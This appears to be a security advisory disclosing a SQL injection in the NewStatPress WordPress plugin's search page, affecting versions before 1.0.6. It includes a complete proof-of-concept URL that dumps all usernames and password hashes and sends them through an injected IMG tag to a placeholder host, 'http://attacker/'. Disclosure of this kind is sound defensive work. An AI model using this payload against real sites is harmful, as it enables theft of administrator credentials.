The Search functionality is susceptible to a SQL Injection attack due to usage of user input without sanitation. In particular, at line 98 of βincludes/nsp_search.phpβ. Utilising a specially crafted SQL query, we can trigger disclosure of user hashes through an IMG tag as the data channel.
The following URL will trigger an SQLI attack, which in turn injects an element into the page, which allows for transmission of the retrieved user hashes to an attacker-controlled URL. In the PoC below, it will output an IMG element pointing to http://attacker/?creds=CREDS, where CREDS is replaced with a concatenated list of usernames and password hashes. As the strings in the call are encoded with the MySQL function βhexβ, there is no need to use any quotes. This is to bypass the quote escaping implemented by WordPress. Should an Administrative user be tricked into visiting the URL, all of the usernames and password hashes will be transmitted (so long as there are no restrictive CSP headers implemented). http://localhost/wp-admin/admin.php?where1=ip&what1;=0&where2;=spider+%3D+0+UNION+SELECT+CONCAT(0x3C696D67207372633D22687474703A2F2F61747461636B65722F3F63726564733D%2C(select+hex(group_concat(concat_ws(char(58)%2Cwp_users.user_login%2Cwp_users.user_pass)))+from+wp_users+group+by+1%3D1)%2C0x223e)--&what2;=0&searchsubmit;=Search&page;=nsp_search&newstatpress;_action=search
CPE | Name | Operator | Version |
---|---|---|---|
newstatpress | lt | 1.0.6 |